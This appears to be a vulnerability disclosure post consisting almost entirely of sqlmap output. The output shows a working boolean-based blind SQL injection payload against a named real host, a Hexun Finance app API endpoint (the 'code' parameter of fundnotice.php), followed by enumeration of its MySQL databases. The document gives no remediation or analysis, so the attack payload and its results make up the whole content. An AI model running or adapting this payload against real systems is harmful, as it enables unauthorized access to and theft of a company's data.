info testing mysql_和讯财经某APP接口SQL注射

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: #1* (URI)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: http://wiapi.hexun.com:80/search/fundnotice.php?code=001011' and 1=if(1=1 AND 3870=3870,1,(select 1 union select 2)) and '1'='1&p=1&c=20

---

[22:36:51] [INFO] testing MySQL

[22:36:51] [INFO] confirming MySQL

[22:36:51] [INFO] the back-end DBMS is MySQL

web application technology: Nginx

back-end DBMS: MySQL >= 5.0.0

[22:36:51] [INFO] fetching database names

[22:36:51] [INFO] fetching number of databases

[22:36:51] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[22:36:51] [INFO] retrieved: 5

[22:36:55] [INFO] retrieved: information_schema

[22:37:28] [INFO] retrieved: polymer

[22:37:37] [INFO] retrieved: security

[22:37:46] [INFO] retrieved: sphinx

[22:37:56] [INFO] retrieved: test

available databases [5]:

[*] information_schema

[*] polymer

[*] security

[*] sphinx

[*] test